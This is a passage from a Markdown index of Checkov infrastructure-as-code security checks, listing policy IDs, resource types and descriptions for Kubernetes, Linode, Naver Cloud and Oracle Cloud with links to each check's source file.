[KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7698 | CKV_K8S_149 | resource | ReplicationController | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7699 | CKV_K8S_149 | resource | StatefulSet | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7700 | CKV_K8S_151 | resource | CronJob | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7701 | CKV_K8S_151 | resource | DaemonSet | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7702 | CKV_K8S_151 | resource | Deployment | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7703 | CKV_K8S_151 | resource | DeploymentConfig | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7704 | CKV_K8S_151 | resource | Job | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7705 | CKV_K8S_151 | resource | Pod | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7706 | CKV_K8S_151 | resource | PodTemplate | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7707 | CKV_K8S_151 | resource | ReplicaSet | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7708 | CKV_K8S_151 | resource | ReplicationController | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7709 | CKV_K8S_151 | resource | StatefulSet | Ensure that the Kubelet only makes use of Strong Cryptographic Ciphers | Kubernetes | [KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py) | | 7710 | CKV_K8S_152 | resource | Ingress | Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742 | Kubernetes | [NginxIngressCVE202125742Lua.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py) | | 7711 | CKV_K8S_153 | resource | Ingress | Prevent All NGINX Ingress annotation snippets. See CVE-2021-25742 | Kubernetes | [NginxIngressCVE202125742AllSnippets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742AllSnippets.py) | | 7712 | CKV_K8S_154 | resource | Ingress | Prevent NGINX Ingress annotation snippets which contain alias statements See CVE-2021-25742 | Kubernetes | [NginxIngressCVE202125742Alias.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Alias.py) | | 7713 | CKV_K8S_155 | resource | ClusterRole | Minimize ClusterRoles that grant control over validating or mutating admission webhook configurations | Kubernetes | [RbacControlWebhooks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacControlWebhooks.py) | | 7714 | CKV_K8S_156 | resource | ClusterRole | Minimize ClusterRoles that grant permissions to approve CertificateSigningRequests | Kubernetes | [RbacApproveCertificateSigningRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacApproveCertificateSigningRequests.py) | | 7715 | CKV_K8S_157 | resource | ClusterRole | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings | Kubernetes | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py) | | 7716 | CKV_K8S_157 | resource | Role | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings | Kubernetes | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py) | | 7717 | CKV_K8S_158 | resource | ClusterRole | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles | Kubernetes | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py) | | 7718 | CKV_K8S_158 | resource | Role | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles | Kubernetes | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py) | | 7719 | CKV_K8S_159 | resource | CronJob | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7720 | CKV_K8S_159 | resource | DaemonSet | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7721 | CKV_K8S_159 | resource | Deployment | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7722 | CKV_K8S_159 | resource | DeploymentConfig | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7723 | CKV_K8S_159 | resource | Job | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7724 | CKV_K8S_159 | resource | Pod | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7725 | CKV_K8S_159 | resource | PodTemplate | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7726 | CKV_K8S_159 | resource | ReplicaSet | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7727 | CKV_K8S_159 | resource | ReplicationController | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7728 | CKV_K8S_159 | resource | StatefulSet | Limit the use of git-sync to prevent code injection | Kubernetes | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py) | | 7729 | CKV_K8S_159 | resource | kubernetes_deployment | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 7730 | CKV_K8S_159 | resource | kubernetes_deployment_v1 | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 7731 | CKV_K8S_159 | resource | kubernetes_pod | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 7732 | CKV_K8S_159 | resource | kubernetes_pod_v1 | Do not admit privileged containers | Terraform | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py) | | 7733 | CKV2_K8S_1 | resource | ClusterRole | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 7734 | CKV2_K8S_1 | resource | ClusterRoleBinding | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 7735 | CKV2_K8S_1 | resource | Role | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 7736 | CKV2_K8S_1 | resource | RoleBinding | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding | Kubernetes | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml) | | 7737 | CKV2_K8S_2 | resource | ClusterRole | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 7738 | CKV2_K8S_2 | resource | ClusterRoleBinding | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 7739 | CKV2_K8S_2 | resource | Role | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 7740 | CKV2_K8S_2 | resource | RoleBinding | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation | Kubernetes | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml) | | 7741 | CKV2_K8S_3 | resource | ClusterRole | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 7742 | CKV2_K8S_3 | resource | ClusterRoleBinding | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 7743 | CKV2_K8S_3 | resource | Role | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 7744 | CKV2_K8S_3 | resource | RoleBinding | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts | Kubernetes | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml) | | 7745 | CKV2_K8S_4 | resource | ClusterRole | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 7746 | CKV2_K8S_4 | resource | ClusterRoleBinding | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 7747 | CKV2_K8S_4 | resource | Role | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 7748 | CKV2_K8S_4 | resource | RoleBinding | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster. | Kubernetes | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml) | | 7749 | CKV2_K8S_5 | resource | ClusterRole | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 7750 | CKV2_K8S_5 | resource | ClusterRoleBinding | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 7751 | CKV2_K8S_5 | resource | Role | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 7752 | CKV2_K8S_5 | resource | RoleBinding | No ServiceAccount/Node should be able to read all secrets | Kubernetes | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml) | | 7753 | CKV2_K8S_6 | resource | Deployment | Minimize the admission of pods which lack an associated NetworkPolicy | Kubernetes | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml) | | 7754 | CKV2_K8S_6 | resource | Pod | Minimize the admission of pods which lack an associated NetworkPolicy | Kubernetes | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml) | | 7755 | CKV_LIN_1 | provider | linode | Ensure no hard coded Linode tokens exist in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/linode/credentials.py) | | 7756 | CKV_LIN_2 | resource | linode_instance | Ensure SSH key set in authorized_keys | Terraform | [authorized_keys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/authorized_keys.py) | | 7757 | CKV_LIN_3 | resource | linode_user | Ensure email is set | Terraform | [user_email_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_email_set.py) | | 7758 | CKV_LIN_4 | resource | linode_user | Ensure username is set | Terraform | [user_username_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_username_set.py) | | 7759 | CKV_LIN_5 | resource | linode_firewall | Ensure Inbound Firewall Policy is not set to ACCEPT | Terraform | [firewall_inbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_inbound_policy.py) | | 7760 | CKV_LIN_6 | resource | linode_firewall | Ensure Outbound Firewall Policy is not set to ACCEPT | Terraform | [firewall_outbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_outbound_policy.py) | | 7761 | CKV_NCP_1 | resource | ncloud_lb_target_group | Ensure HTTP HTTPS Target group defines Healthcheck | Terraform | [LBTargetGroupDefinesHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupDefinesHealthCheck.py) | | 7762 | CKV_NCP_2 | resource | ncloud_access_control_group | Ensure every access control groups rule has a description | Terraform | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py) | | 7763 | CKV_NCP_2 | resource | ncloud_access_control_group_rule | Ensure every access control groups rule has a description | Terraform | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py) | | 7764 | CKV_NCP_3 | resource | ncloud_access_control_group_rule | Ensure no security group rules allow outbound traffic to 0.0.0.0/0 | Terraform | [AccessControlGroupOutboundRule.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupOutboundRule.py) | | 7765 | CKV_NCP_4 | resource | ncloud_access_control_group_rule | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 22 | Terraform | [AccessControlGroupInboundRulePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort22.py) | | 7766 | CKV_NCP_5 | resource | ncloud_access_control_group_rule | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 3389 | Terraform | [AccessControlGroupInboundRulePort3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort3389.py) | | 7767 | CKV_NCP_6 | resource | ncloud_server | Ensure Server instance is encrypted. | Terraform | [ServerEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerEncryptionVPC.py) | | 7768 | CKV_NCP_7 | resource | ncloud_launch_configuration | Ensure Basic Block storage is encrypted. | Terraform | [LaunchConfigurationEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LaunchConfigurationEncryptionVPC.py) | | 7769 | CKV_NCP_8 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 20 | Terraform | [NACLInbound20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound20.py) | | 7770 | CKV_NCP_9 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 21 | Terraform | [NACLInbound21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound21.py) | | 7771 | CKV_NCP_10 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 22 | Terraform | [NACLInbound22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound22.py) | | 7772 | CKV_NCP_11 | resource | ncloud_network_acl_rule | Ensure no NACL allow inbound from 0.0.0.0:0 to port 3389 | Terraform | [NACLInbound3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound3389.py) | | 7773 | CKV_NCP_12 | resource | ncloud_network_acl_rule | An inbound Network ACL rule should not allow ALL ports. | Terraform | [NACLPortCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLPortCheck.py) | | 7774 | CKV_NCP_13 | resource | ncloud_lb_listener | Ensure LB Listener uses only secure protocols | Terraform | [LBListenerUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsesSecureProtocols.py) | | 7775 | CKV_NCP_14 | resource | ncloud_nas_volume | Ensure NAS is securely encrypted | Terraform | [NASEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NASEncryptionEnabled.py) | | 7776 | CKV_NCP_15 | resource | ncloud_lb_target_group | Ensure Load Balancer Target Group is not using HTTP | Terraform | [LBTargetGroupUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupUsingHTTPS.py) | | 7777 | CKV_NCP_16 | resource | ncloud_lb | Ensure Load Balancer isn't exposed to the internet | Terraform | [LBNetworkPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBNetworkPrivate.py) | | 7778 | CKV_NCP_18 | resource | ncloud_auto_scaling_group | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks. | Terraform | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml) | | 7779 | CKV_NCP_18 | resource | ncloud_lb_target_group | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks. | Terraform | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml) | | 7780 | CKV_NCP_19 | resource | ncloud_nks_cluster | Ensure Naver Kubernetes Service public endpoint disabled | Terraform | [NKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSPublicAccess.py) | | 7781 | CKV_NCP_20 | resource | ncloud_route | Ensure Routing Table associated with Web tier subnet have the default route (0.0.0.0/0) defined to allow connectivity | Terraform | [RouteTableNATGatewayDefault.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/RouteTableNATGatewayDefault.py) | | 7782 | CKV_NCP_22 | resource | ncloud_nks_cluster | Ensure NKS control plane logging enabled for all log types | Terraform | [NKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSControlPlaneLogging.py) | | 7783 | CKV_NCP_22 | resource | ncloud_route_table | Ensure a route table for the public subnets is created. | Terraform | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml) | | 7784 | CKV_NCP_22 | resource | ncloud_subnet | Ensure a route table for the public subnets is created. | Terraform | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml) | | 7785 | CKV_NCP_23 | resource | ncloud_public_ip | Ensure Server instance should not have public IP. | Terraform | [ServerPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerPublicIP.py) | | 7786 | CKV_NCP_24 | resource | ncloud_lb_listener | Ensure Load Balancer Listener Using HTTPS | Terraform | [LBListenerUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsingHTTPS.py) | | 7787 | CKV_NCP_25 | resource | ncloud_access_control_group_rule | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 80 | Terraform | [AccessControlGroupInboundRulePort80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort80.py) | | 7788 | CKV_NCP_26 | resource | ncloud_access_control_group | Ensure Access Control Group has Access Control Group Rule attached | Terraform | [AccessControlGroupRuleDefine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AccessControlGroupRuleDefine.yaml) | | 7789 | CKV_OCI_1 | provider | oci | Ensure no hard coded OCI private key in provider | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/oci/credentials.py) | | 7790 | CKV_OCI_2 | resource | oci_core_volume | Ensure OCI Block Storage Block Volume has backup enabled | Terraform | [StorageBlockBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockBackupEnabled.py) | | 7791 | CKV_OCI_3 | resource | oci_core_volume | OCI Block Storage Block Volumes are not encrypted with a Customer Managed Key (CMK) | Terraform | [StorageBlockEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockEncryption.py) | | 7792 | CKV_OCI_4 | resource | oci_core_instance | Ensure OCI Compute Instance boot volume has in-transit data encryption enabled | Terraform | [InstanceBootVolumeIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceBootVolumeIntransitEncryption.py) | | 7793 | CKV_OCI_5 | resource | oci_core_instance | Ensure OCI Compute Instance has Legacy MetaData service endpoint disabled | Terraform | [InstanceMetadataServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMetadataServiceEnabled.py) | | 7794 | CKV_OCI_6 | resource | oci_core_instance | Ensure OCI Compute Instance has monitoring enabled | Terraform | [InstanceMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMonitoringEnabled.py) | | 7795 | CKV_OCI_7 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage bucket can emit object events | Terraform | [ObjectStorageEmitEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEmitEvents.py) | | 7796 | CKV_OCI_8 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage has versioning enabled | Terraform | [ObjectStorageVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageVersioning.py) | | 7797 | CKV_OCI_9 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage is encrypted with Customer Managed Key | Terraform | [ObjectStorageEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEncryption.py) | | 7798 | CKV_OCI_10 | resource | oci_objectstorage_bucket | Ensure OCI Object Storage is not Public | Terraform | [ObjectStoragePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStoragePublic.py) | | 7799 | CKV_OCI_11 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain lower case | Terraform | [IAMPasswordPolicyLowerCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyLowerCase.py) | | 7800 | CKV_OCI_12 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain Numeric characters | Terraform | [IAMPasswordPolicyNumeric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyNumeric.py) | | 7801 | CKV_OCI_13 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain Special characters | Terraform | [IAMPasswordPolicySpecialCharacters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicySpecialCharacters.py) | | 7802 | CKV_OCI_14 | resource | oci_identity_authentication_policy | OCI IAM password policy - must contain Uppercase characters | Terraform | [IAMPasswordPolicyUpperCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyUpperCase.py) | | 7803 | CKV_OCI_15 | resource | oci_file_storage_file_system | Ensure OCI File System is Encrypted with a customer Managed Key | Terraform | [FileSystemEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/FileSystemEncryption.py) | | 7804 | CKV_OCI_16 | resource | oci_core_security_list | Ensure VCN has an inbound security list | Terraform | [SecurityListIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngress.py) | | 7805 | CKV_OCI_17 | resource | oci_core_security_list | Ensure VCN inbound security lists are stateless | Terraform | [SecurityListIngressStateless.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngressStateless.py) | | 7806 | CKV_OCI_18 | resource | oci_identity_authentication_policy | OCI IAM password policy for local (non-federated) users has a minimum length of 14 characters | Terraform | [IAMPasswordLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordLength.py) | | 7807 | CKV_OCI_19 | resource | oci_core_security_list | Ensure no security list allow ingress from 0.0.0.0:0 to port 22. | Terraform | 